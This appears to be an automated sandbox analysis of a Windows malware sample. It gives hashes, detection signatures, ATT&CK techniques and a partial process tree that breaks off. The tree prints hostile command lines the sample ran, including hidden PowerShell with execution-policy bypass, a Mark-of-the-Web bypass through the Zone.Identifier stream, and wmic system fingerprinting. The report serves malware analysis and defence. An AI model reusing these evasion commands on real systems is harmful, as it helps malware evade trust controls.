7a4b148dea15294bcdf0312c32dea96f83fc0fdccd79ba0f7366a35471ec429e

Analysis

max time kernel
52s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/07/2026, 08:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe
Size 33.5MB
Sample260717-khymysbs8t
SHA256 7a4b148dea15294bcdf0312c32dea96f83fc0fdccd79ba0f7366a35471ec429e
MD5 0788bd5bcc10c81a70844454047b8bb7
SHA1 f96d8398199a2d90eac3b053e07100c14e4d075f
SHA512 2fa2876bd6492a6c5ff48122b63866b24f7ef6e5f3d74fe00856a9976d78f13deed1be1e517704e98056f0536f1a94d434b540d1ca566f7449f3a3799403e15f
SSDEEP 393216:xYjwHGplco5rnxsWqUH4BpmC5bWTjOArVx2WerV99kDfJWgH:S8m9xYUpCSPjderVQfJWg
TLSH
T153777CA696C900FCC4EA80BD487982F6FD363549D7314AFF824BA537AD23AE0C539745
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c32a-29.dat	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c32a-29.dat	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c32a-29.dat	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

Detects executables containing URLs to raw contents of a Github gist 1 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c32a-29.dat	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL

Enumerates VirtualBox registry keys 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	reg.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4900	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell to get system information as a root user.

execution

PowerShell

T1059.001

pid	Process
4824	powershell.exe
4420	powershell.exe
5916	powershell.exe
4900	powershell.exe
1320	powershell.exe
1448	powershell.exe
1556	powershell.exe
6728	powershell.exe
620	powershell.exe
5688	powershell.exe
5080	powershell.exe
2892	powershell.exe
6908	powershell.exe
3524	powershell.exe
3920	powershell.exe
5808	powershell.exe
1268	powershell.exe
1144	powershell.exe
712	powershell.exe
5348	powershell.exe
1132	powershell.exe
6648	powershell.exe
6596	powershell.exe
2196	powershell.exe
1716	powershell.exe
2716	powershell.exe
2888	powershell.exe
3024	powershell.exe
3196	powershell.exe
5208	powershell.exe
4288	powershell.exe
3448	powershell.exe
2440	powershell.exe
3092	powershell.exe
2780	powershell.exe
4688	powershell.exe
5348	powershell.exe
6540	powershell.exe
2504	powershell.exe
5608	powershell.exe
6916	powershell.exe
6512	powershell.exe
4936	powershell.exe
3032	powershell.exe
1232	powershell.exe
2424	powershell.exe
3652	powershell.exe
2128	powershell.exe
6248	powershell.exe
4896	powershell.exe
3084	powershell.exe
4380	powershell.exe
6568	powershell.exe
3644	powershell.exe
6264	powershell.exe
5548	powershell.exe
6864	powershell.exe
3520	powershell.exe
5400	powershell.exe
2432	powershell.exe
552	powershell.exe
5972	powershell.exe
1308	powershell.exe
1984	powershell.exe

Looks for VMWare services registry key. 1 TTPs 2 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmci	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VMMEMCTL	reg.exe

Looks for Xen service registry key. 1 TTPs 1 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\xenevtchn	reg.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
6564	netsh.exe

Executes dropped EXE 2 IoCs

pid	Process
4664	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe
4492	s_1784277468620.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wine	reg.exe

Loads dropped DLL 1 IoCs

pid	Process
3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
5076	tasklist.exe
4116	tasklist.exe
4420	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 50 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4584	cmd.exe
1072	cmd.exe
4324	cmd.exe
464	cmd.exe
1292	cmd.exe
1964	cmd.exe
5520	cmd.exe
1124	cmd.exe
7116	cmd.exe
7112	cmd.exe
1464	cmd.exe
6192	cmd.exe
5300	cmd.exe
6280	cmd.exe
5144	cmd.exe
6032	cmd.exe
5076	cmd.exe
4124	cmd.exe
6604	cmd.exe
604	cmd.exe
4344	cmd.exe
6656	cmd.exe
488	cmd.exe
6852	cmd.exe
4540	cmd.exe
2428	cmd.exe
2376	cmd.exe
2680	cmd.exe
6320	cmd.exe
1936	cmd.exe
5240	cmd.exe
920	cmd.exe
1136	cmd.exe
2940	cmd.exe
1384	cmd.exe
6744	cmd.exe
6012	cmd.exe
6532	cmd.exe
6868	cmd.exe
3688	cmd.exe
6896	cmd.exe
6780	cmd.exe
6976	cmd.exe
4580	cmd.exe
1392	cmd.exe
7028	cmd.exe
6844	cmd.exe
3260	cmd.exe
6952	cmd.exe
5140	cmd.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe:Zone.Identifier	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4668	cmd.exe
6088	netsh.exe
6816	cmd.exe
6760	netsh.exe

System Time Discovery 1 TTPs 5 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
6364	cmd.exe
1208	chrome.exe
4732	msedge.exe
7088	attrib.exe
6024	cmd.exe

Detects videocard installed 1 TTPs 3 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5800	WMIC.exe
1952	WMIC.exe
4300	WMIC.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3324	ipconfig.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
5916	taskkill.exe
5812	taskkill.exe

Modifies registry key 1 TTPs 64 IoCs

Modify Registry

T1112

pid	Process
6268	reg.exe
5584	reg.exe
5580	reg.exe
5912	reg.exe
2276	reg.exe
4900	reg.exe
5092	reg.exe
6364	reg.exe
5992	reg.exe
2704	reg.exe
4476	reg.exe
2596	reg.exe
4172	reg.exe
1520	reg.exe
3016	reg.exe
3696	reg.exe
4576	reg.exe
5348	reg.exe
3332	reg.exe
1272	reg.exe
4144	reg.exe
624	reg.exe
5620	reg.exe
6396	reg.exe
3200	reg.exe
4100	reg.exe
3336	reg.exe
5520	reg.exe
252	reg.exe
1728	reg.exe
5752	reg.exe
3160	reg.exe
1188	reg.exe
6676	reg.exe
2640	reg.exe
6876	reg.exe
7044	reg.exe
4132	reg.exe
3752	reg.exe
5172	reg.exe
2348	reg.exe
1384	reg.exe
4508	reg.exe
6040	reg.exe
1052	reg.exe
1384	reg.exe
6204	reg.exe
5400	reg.exe
2100	reg.exe
7164	reg.exe
3116	reg.exe
5588	reg.exe
6304	reg.exe
6320	reg.exe
4852	reg.exe
6040	reg.exe
4732	reg.exe
4164	reg.exe
7104	reg.exe
6700	reg.exe
1244	reg.exe
2488	reg.exe
6436	reg.exe
4640	reg.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe:Zone.Identifier	cmd.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 50 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4444	schtasks.exe
4804	schtasks.exe
6048	schtasks.exe
1072	schtasks.exe
7036	schtasks.exe
6580	schtasks.exe
5012	schtasks.exe
1908	schtasks.exe
944	schtasks.exe
1832	schtasks.exe
6848	schtasks.exe
6904	schtasks.exe
7164	schtasks.exe
7160	schtasks.exe
6748	schtasks.exe
6180	schtasks.exe
2044	schtasks.exe
6564	schtasks.exe
3956	schtasks.exe
6532	schtasks.exe
2492	schtasks.exe
812	schtasks.exe
5644	schtasks.exe
4340	schtasks.exe
3752	schtasks.exe
6904	schtasks.exe
1360	schtasks.exe
6244	schtasks.exe
2868	schtasks.exe
5544	schtasks.exe
6876	schtasks.exe
2024	schtasks.exe
2336	schtasks.exe
4816	schtasks.exe
1956	schtasks.exe
4116	schtasks.exe
4716	schtasks.exe
7148	schtasks.exe
4640	schtasks.exe
6492	schtasks.exe
204	schtasks.exe
1700	schtasks.exe
4120	schtasks.exe
1504	schtasks.exe
5400	schtasks.exe
1948	schtasks.exe
6780	schtasks.exe
3720	schtasks.exe
6396	schtasks.exe
6708	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4544	powershell.exe
4544	powershell.exe
4800	powershell.exe
4800	powershell.exe
1580	WMIC.exe
1580	WMIC.exe
1580	WMIC.exe
1580	WMIC.exe
4872	powershell.exe
4872	powershell.exe
5752	WMIC.exe
5752	WMIC.exe
5752	WMIC.exe
5752	WMIC.exe
3152	powershell.exe
3152	powershell.exe
5800	WMIC.exe
5800	WMIC.exe
5800	WMIC.exe
5800	WMIC.exe
2492	powershell.exe
2492	powershell.exe
1320	powershell.exe
1320	powershell.exe
5004	WMIC.exe
5004	WMIC.exe
5004	WMIC.exe
5004	WMIC.exe
2196	powershell.exe
2196	powershell.exe
5404	WMIC.exe
5404	WMIC.exe
5404	WMIC.exe
5404	WMIC.exe
5816	powershell.exe
5816	powershell.exe
1952	WMIC.exe
1952	WMIC.exe
1952	WMIC.exe
1952	WMIC.exe
1516	powershell.exe
1516	powershell.exe
1716	powershell.exe
1716	powershell.exe
1828	powershell.exe
1828	powershell.exe
2660	powershell.exe
2660	powershell.exe
6016	powershell.exe
6016	powershell.exe
4896	powershell.exe
4896	powershell.exe
4656	powershell.exe
4656	powershell.exe
808	powershell.exe
808	powershell.exe
5576	powershell.exe
5576	powershell.exe
4836	powershell.exe
4836	powershell.exe
2764	powershell.exe
2764	powershell.exe
3572	powershell.exe
3572	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeDebugPrivilege	4800	powershell.exe
Token: SeIncreaseQuotaPrivilege	1580	WMIC.exe
Token: SeSecurityPrivilege	1580	WMIC.exe
Token: SeTakeOwnershipPrivilege	1580	WMIC.exe
Token: SeLoadDriverPrivilege	1580	WMIC.exe
Token: SeSystemProfilePrivilege	1580	WMIC.exe
Token: SeSystemtimePrivilege	1580	WMIC.exe
Token: SeProfSingleProcessPrivilege	1580	WMIC.exe
Token: SeIncBasePriorityPrivilege	1580	WMIC.exe
Token: SeCreatePagefilePrivilege	1580	WMIC.exe
Token: SeBackupPrivilege	1580	WMIC.exe
Token: SeRestorePrivilege	1580	WMIC.exe
Token: SeShutdownPrivilege	1580	WMIC.exe
Token: SeDebugPrivilege	1580	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1580	WMIC.exe
Token: SeRemoteShutdownPrivilege	1580	WMIC.exe
Token: SeUndockPrivilege	1580	WMIC.exe
Token: SeManageVolumePrivilege	1580	WMIC.exe
Token: 33	1580	WMIC.exe
Token: 34	1580	WMIC.exe
Token: 35	1580	WMIC.exe
Token: 36	1580	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1580	WMIC.exe
Token: SeSecurityPrivilege	1580	WMIC.exe
Token: SeTakeOwnershipPrivilege	1580	WMIC.exe
Token: SeLoadDriverPrivilege	1580	WMIC.exe
Token: SeSystemProfilePrivilege	1580	WMIC.exe
Token: SeSystemtimePrivilege	1580	WMIC.exe
Token: SeProfSingleProcessPrivilege	1580	WMIC.exe
Token: SeIncBasePriorityPrivilege	1580	WMIC.exe
Token: SeCreatePagefilePrivilege	1580	WMIC.exe
Token: SeBackupPrivilege	1580	WMIC.exe
Token: SeRestorePrivilege	1580	WMIC.exe
Token: SeShutdownPrivilege	1580	WMIC.exe
Token: SeDebugPrivilege	1580	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1580	WMIC.exe
Token: SeRemoteShutdownPrivilege	1580	WMIC.exe
Token: SeUndockPrivilege	1580	WMIC.exe
Token: SeManageVolumePrivilege	1580	WMIC.exe
Token: 33	1580	WMIC.exe
Token: 34	1580	WMIC.exe
Token: 35	1580	WMIC.exe
Token: 36	1580	WMIC.exe
Token: SeDebugPrivilege	4872	powershell.exe
Token: SeIncreaseQuotaPrivilege	5752	WMIC.exe
Token: SeSecurityPrivilege	5752	WMIC.exe
Token: SeTakeOwnershipPrivilege	5752	WMIC.exe
Token: SeLoadDriverPrivilege	5752	WMIC.exe
Token: SeSystemProfilePrivilege	5752	WMIC.exe
Token: SeSystemtimePrivilege	5752	WMIC.exe
Token: SeProfSingleProcessPrivilege	5752	WMIC.exe
Token: SeIncBasePriorityPrivilege	5752	WMIC.exe
Token: SeCreatePagefilePrivilege	5752	WMIC.exe
Token: SeBackupPrivilege	5752	WMIC.exe
Token: SeRestorePrivilege	5752	WMIC.exe
Token: SeShutdownPrivilege	5752	WMIC.exe
Token: SeDebugPrivilege	5752	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5752	WMIC.exe
Token: SeRemoteShutdownPrivilege	5752	WMIC.exe
Token: SeUndockPrivilege	5752	WMIC.exe
Token: SeManageVolumePrivilege	5752	WMIC.exe
Token: 33	5752	WMIC.exe
Token: 34	5752	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3284 wrote to memory of 4544	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	87
PID 4544 wrote to memory of 3732	4544	powershell.exe	89
PID 3284 wrote to memory of 4800	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	90
PID 3284 wrote to memory of 4664	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	91
PID 4800 wrote to memory of 1456	4800	powershell.exe	93
PID 1456 wrote to memory of 1580	1456	cmd.exe	94
PID 3284 wrote to memory of 4872	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	96
PID 4872 wrote to memory of 4188	4872	powershell.exe	98
PID 4188 wrote to memory of 5752	4188	cmd.exe	99
PID 3284 wrote to memory of 3152	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	100
PID 3152 wrote to memory of 2280	3152	powershell.exe	102
PID 2280 wrote to memory of 5800	2280	cmd.exe	103
PID 3284 wrote to memory of 2492	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	104
PID 3284 wrote to memory of 1320	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	106
PID 1320 wrote to memory of 5968	1320	powershell.exe	108
PID 5968 wrote to memory of 5004	5968	cmd.exe	109
PID 3284 wrote to memory of 2196	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	110
PID 2196 wrote to memory of 5460	2196	powershell.exe	112
PID 5460 wrote to memory of 5404	5460	cmd.exe	113
PID 3284 wrote to memory of 5816	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	114
PID 5816 wrote to memory of 2516	5816	powershell.exe	116
PID 2516 wrote to memory of 1952	2516	cmd.exe	117
PID 3284 wrote to memory of 1516	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	118
PID 3284 wrote to memory of 1716	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	120
PID 1716 wrote to memory of 2212	1716	powershell.exe	122
PID 2212 wrote to memory of 4572	2212	cmd.exe	123
PID 3284 wrote to memory of 1828	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	124
PID 1828 wrote to memory of 4636	1828	powershell.exe	126
PID 4636 wrote to memory of 5060	4636	cmd.exe	127
PID 3284 wrote to memory of 2660	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	128
PID 2660 wrote to memory of 5600	2660	powershell.exe	130
PID 5600 wrote to memory of 1244	5600	cmd.exe	131
PID 3284 wrote to memory of 6016	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	132
PID 6016 wrote to memory of 3356	6016	powershell.exe	134
PID 3356 wrote to memory of 4900	3356	cmd.exe	191
PID 3284 wrote to memory of 4896	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	136
PID 4896 wrote to memory of 696	4896	powershell.exe	138
PID 696 wrote to memory of 3696	696	cmd.exe	139
PID 3284 wrote to memory of 4656	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	140
PID 4656 wrote to memory of 3732	4656	powershell.exe	142
PID 3732 wrote to memory of 4172	3732	cmd.exe	143
PID 3284 wrote to memory of 808	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	144
PID 808 wrote to memory of 2404	808	powershell.exe	146
PID 2404 wrote to memory of 5580	2404	cmd.exe	147
PID 3284 wrote to memory of 5576	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	148
PID 5576 wrote to memory of 5260	5576	powershell.exe	150
PID 5260 wrote to memory of 4576	5260	cmd.exe	151
PID 3284 wrote to memory of 4836	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	152
PID 4836 wrote to memory of 4280	4836	powershell.exe	154
PID 4280 wrote to memory of 5912	4280	cmd.exe	155
PID 3284 wrote to memory of 2764	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	156
PID 2764 wrote to memory of 4392	2764	powershell.exe	158
PID 4392 wrote to memory of 5400	4392	cmd.exe	159
PID 3284 wrote to memory of 3572	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	160
PID 3572 wrote to memory of 268	3572	powershell.exe	162
PID 268 wrote to memory of 6040	268	cmd.exe	209
PID 3284 wrote to memory of 3448	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	164
PID 3448 wrote to memory of 872	3448	powershell.exe	166
PID 872 wrote to memory of 3336	872	cmd.exe	167
PID 3284 wrote to memory of 2788	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	168
PID 2788 wrote to memory of 5004	2788	powershell.exe	170
PID 5004 wrote to memory of 3968	5004	cmd.exe	171
PID 3284 wrote to memory of 5808	3284	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	172
PID 5808 wrote to memory of 6004	5808	powershell.exe	174

Views/modifies file attributes 1 TTPs 50 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
6964	attrib.exe
6984	attrib.exe
3160	attrib.exe
3404	attrib.exe
4936	attrib.exe
5732	attrib.exe
2148	attrib.exe
7160	attrib.exe
6452	attrib.exe
6656	attrib.exe
6964	attrib.exe
3196	attrib.exe
5988	attrib.exe
6580	attrib.exe
1296	attrib.exe
1384	attrib.exe
708	attrib.exe
6656	attrib.exe
1272	attrib.exe
1140	attrib.exe
2936	attrib.exe
7104	attrib.exe
5208	attrib.exe
3244	attrib.exe
6376	attrib.exe
1040	attrib.exe
7088	attrib.exe
5412	attrib.exe
4172	attrib.exe
4732	attrib.exe
596	attrib.exe
4844	attrib.exe
4732	attrib.exe
1180	attrib.exe
2504	attrib.exe
5300	attrib.exe
3192	attrib.exe
6744	attrib.exe
2392	attrib.exe
3140	attrib.exe
7140	attrib.exe
1908	attrib.exe
3112	attrib.exe
5732	attrib.exe
1404	attrib.exe
6580	attrib.exe
6480	attrib.exe
4328	attrib.exe
7144	attrib.exe
6428	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe"
1⤵
- Loads dropped DLL
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
PID:3284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe:Zone.Identifier" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4544
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe:Zone.Identifier 2>nul"
    3⤵
    - Subvert Trust Controls: Mark-of-the-Web Bypass
    - NTFS ADS
    PID:3732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic csproduct get uuid 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4800
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic csproduct get uuid 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1456
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1580
- C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe
  C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe --watchdog 3284
  2⤵
  - Executes dropped EXE
  PID:4664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic cpu get Name /format:csv'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4872
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic cpu get Name /format:csv"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4188
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic cpu get Name /format:csv
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic path win32_VideoController get Name /format:csv'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3152
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic path win32_VideoController get Name /format:csv"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2280
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get Name /format:csv
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:5800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command [System.Environment]::OSVersion.Version.ToString()
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic csproduct get uuid'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1320
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5968
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic logicaldisk where "DriveType=3" get Size /format:csv'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2196
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic logicaldisk where DriveType=3 get Size /format:csv"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5460
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic logicaldisk where DriveType=3 get Size /format:csv
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic path win32_VideoController get Name /format:csv'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5816
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic path win32_VideoController get Name /format:csv"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2516
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get Name /format:csv
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
